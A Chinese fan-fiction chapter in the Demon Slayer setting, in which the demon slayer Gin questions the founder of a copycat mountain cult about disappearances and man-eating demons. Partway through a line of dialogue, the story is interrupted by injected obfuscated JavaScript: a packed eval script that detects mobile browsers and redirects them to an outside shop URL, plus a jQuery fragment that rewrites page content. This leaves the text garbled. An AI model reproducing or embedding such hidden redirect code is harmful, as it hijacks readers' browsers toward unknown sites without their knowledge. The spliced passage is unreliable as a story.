万事如意教。
仙台的新兴宗教,教义完全与老旧的万世极乐教一样,除了不像极乐教那样到达了一定规模后不再收信徒,基本上就是个完全复制品。
信徒们留在这里的原因是距离万世极乐教很近。
如果极乐教重新收信徒了,他们能够近水楼台先得月。
这并非银自己得出的结论,而是信徒主动告诉她的。
带她上山的男人,似乎就是万事如意教的教宗,他实际上想着为教团再收一个信徒的主意,毫不犹豫地就让银住下了。
从他的行为中可以感受到希望银一直住下去的强烈希望。
“这里的生活没有不便吧?为什么还是坚定选择极乐教呢?”坐在教团的大广间里,银向那位主动询问她是否也是打着近水楼台主意的信徒搭话。
在她看来,两个宗教没有任何差别。
就连教义都一模一样。
“唉,那是因为你没见过极乐教的教祖大人。他那白橡般美丽的头发、仿若七彩琉璃般的眼眸,一定就是为我们带来神谕的使者,那位教祖才是能够引导我们通往幸福彼岸的神子大人啊!
“而这位偶尔才上山的教宗大人,连我们加入如意教的真实意图都没有察觉,还傻傻地认为我们被他折服……哪有神使会被骗成这样?他必定是位沽名钓誉的骗子!”
身在万事如意教的信徒毫不犹豫双手合十,眼睛如星星般闪烁着光芒,她高声诉说着,如同真切的祷告。
大广间里的所有人听到后,跟着女信徒一同大笑了起来。
哈哈哈哈哈哈。
全员的笑容保持着同一弧度,就连笑声的频率都差不多。
银被迫夹在他们中间,坐立难安。
笑声停止后,他们异口同声地开始为万世极乐教祈祷起来。
祈祷来生的幸福,祈祷教祖身体健康,祈祷自己能够获得救赎。
在这里的全是这种家伙吗?感觉再待下去脑袋会发热、逐渐被同化的。
山上的生活真可怕啊。
趁他们低下头去合掌祈祷的瞬间,银尽量消除动静地走到门外。
她一走到门外,看到靠在纸门上抽着烟斗的人,脚步一顿。
这位正是带她上山、创立万事如意教的教宗。他此时仰望着月亮,轻轻吐了一口烟,表情平静。
走出门的银还能清楚地听到信者们祈祷的声音,那么这位坐在门外的教宗肯定听得更多。
他究竟在外面待了多久,听了多久呢?
总觉得来错地方了。
银下意识后退了一步,毕竟这位教宗在上山路上还一直向自己推销如意教的好处,关键的如意教竟然没有一个信徒。
月光恍惚地照亮了教宗的半边脸,他嘴角的微笑宛如被磨亮的镰刀,充满了尖锐的嘲讽与不屑。
“喔?你居然出来了啊。我还以为你一定是……”教宗手持烟斗,在廊下叩了叩,眼神注视着飘落在土地上的烟灰,余光看到银僵在一旁,主动出声。
“不想加入他们那么狂热的群聚,不如坐我身边和我说说话?”他拍拍身边的空位,邀请银。
教宗的性格好像和白天不太一样……倒不如说,现在的才是他真实的性格?
本来以为只是个信仰狂热的团体,可是教宗和教徒各信各的,而且还明显被小瞧了……这样的状态下教宗还热心招收信徒是为了什么?
好复杂的情况。
银没有进行更多的思考,直接坐在了教宗的身边。
他知道食人鬼的事情吗?明知自己被教徒瞧不起,教义也是随意复制隔壁的宗教,真实目的其实是人吗?
这位教宗很明显不是食人鬼,白天走在太阳光底下也完全没事。
那么,他与食人鬼有勾结?或者亲近的人变成了食人鬼,所以需要主动上山的人成为食物吗?
主动上山的人,即使失踪了也基本上不会有人在意。
又或者这些都是她想多了,其实这个人就是个没有人格魅力的教宗,即使被信徒轻蔑,也只能靠在一旁露出冷笑来自我安慰吗?
不明白,线索太少了,整个教团里完全没有一丝鬼的味道。
这里没有鬼吗?
食人鬼潜伏在其他地方的可能性也不小,不能就此下定论。
完全不在意银的想法,教宗又缓缓吐了一口烟。他是位坐姿随性的中年男子,眼尾的皱纹宛若刻在脸上的烟雾。
他不说话时,整个人看起来仿佛随风摇曳的芦苇。
“你觉得我很没用吗?创建了一个没有自己东西的教团,努力吸引信徒,可他们的目的却是加入别的教团。”
“……我不知道。我今天才认识你,也对这片地方谈不上了解,所以不会轻易下结论。”银应该保持警惕,随意说些什么敷衍过去。
但不知道为什么,她总觉得这个男人应该想听真话,于是银就照实说了。
“是吗,你是外地人啊?那么为了信仰上山是骗人的咯?我还真的相信了呢。”中年男人噗嗤一笑,笑容中透露出一丝洒脱。
既然暴露了,银直接点点头:“事实上我上山只是想查清一些事情,我不信这种东西……你也是吧?”
是的,从男人矛盾的言行中完全可以得出这个结论。
自己创立了宗教,可是完全没有属于自己的东西,教义、教徒都像是从隔壁借来的。
而他本人也对这个现状并无不满,甚至处于默认状态。
刚才还对信仰虔诚的教徒们露出嘲讽的微笑。
怎么想都只有一个答案,那就是这个人完全没有自己的信仰。
心中有信仰的人,是不会做出如此亵渎的行为的。
这样一来,他是食人鬼共犯的嫌疑更大了。
银审视地观察了一圈周围,方圆十里,依然没有鬼活动的气息,
今晚不会出动吗?
男人为难地一笑:“怎么办?被你发现了这件事情……”
他的脸色一沉,盯着银的目光仿佛瞥见了猎物般寒冷。
“你说,我该拿你怎么办?”
银没有变换坐姿,粉色羽织的弧度也没有变化,藏在羽织底下的手却偷偷摸上了日轮刀。
她的呼吸无意识放缓了,为了能够一口气吸入更多氧气,银扩张着自己的肺部。
食人鬼会出现吗?
收入耳中的只有草丛被风吹拂的声音,以及信徒们的祈祷声、教宗和自己的心跳声。
没有察觉到任何异样。
“什么的……就算被你发现了,我也不能对你做什么嘛!”他又叩了叩烟斗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17327968|196385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,笑着说。
“既然不是信徒,明天天一亮就快点下山吧。”
他没有表露出任何攻击意图,从气息来看也只是个普通人,真要战斗起来,这里的所有人都打不过银。
男人知道银没有信仰后,就对银失去了兴趣,还催促她快些下山。
他针对的是有信仰的女性吗?
不,还不能就这么断定。
要尝试透露自己的目的,看看他是什么反应吗?
就这么办吧。
“我来这里是想知道为什么一直有人失踪。你既然一直在山上,应该知道些什么吧?”
银选择舍弃一切花里胡哨,直接询问。
男人闻言,在空中吐了个烟圈:“失踪啊……他们难道不是幸福地前往下一世了吗?”
教宗的话让银皱起眉来:
“我才不管他们下一世幸不幸福,我在意的是这一世他们的结局。”
死之前被怎样对待了?是害怕吗?是觉得解脱吗?是觉得不甘心吗?
被非人之物杀害,怀抱着痛苦与悲伤离开了世间。
即使来生得到了补偿,今生的痛苦依然存在。
“你……果然是外地人。思考方式和我们都不一样。”
“这和是不是外地人无关,你们的思考相近,只是因为被灌输了同样的思想而已。”
银明白自己还有很多事情都不了解,但她现在却能够肯定地说出来。
任何一个鬼杀队的队士来到这里,亲眼见到了面前的事情,都会说出同样的话。
教宗像是被这句话击倒了一样,整个人躺在了走廊上。
银被他的举动吓了一跳,清楚他还拥有生命体征,却还是下意识伸手去探他的鼻息。
如果他中了连银也没能察觉到的血鬼术,那可真是太糟糕了。
“大家不都说,是山上可怕的熊袭击了人吗?为什么不把那个当成是事实,就这么接受了呢?”
银的手探向男人的同时,他如此说道。
神智清醒,说话也很流畅,没有任何问题。
也就说明他是想躺下去才躺下去的。
有点奇怪的家伙,一般来说会在第一次见面、年龄比自己小的后辈面前如此随意吗?
银收回手:“因为我知道在山上的不是熊,而是会吃人的鬼。”
她不再掩藏日轮刀,而是直接在走廊上站起来,光明正大展示给他看。
如果男人与食人鬼有勾结,必然会通风报信,食鬼人就会来袭击她,省去了寻找的功夫。
如果没有勾结……那就没有勾结。
银会继续按照原计划行动。
“我的任务就是斩杀食人鬼,如果你有什么线索,麻烦全部告诉我。”
男人坐起身,怔怔盯着银手里的日轮刀。
“教宗,你果然知道这山上有食人鬼吧?”
和所有第一次听到食人鬼会不可置信的人不同,教宗的反应就像是听到教徒们在背后骂他傻一样平淡。
正是因为他的行为,反而让银有了确信。
不管他是否和食人鬼有勾结,但他肯定是知情者。
见他半天没有反应,银又重复了一遍:
“关于潜伏在山上的鬼,我想请你把知道的所有情报都告诉我。”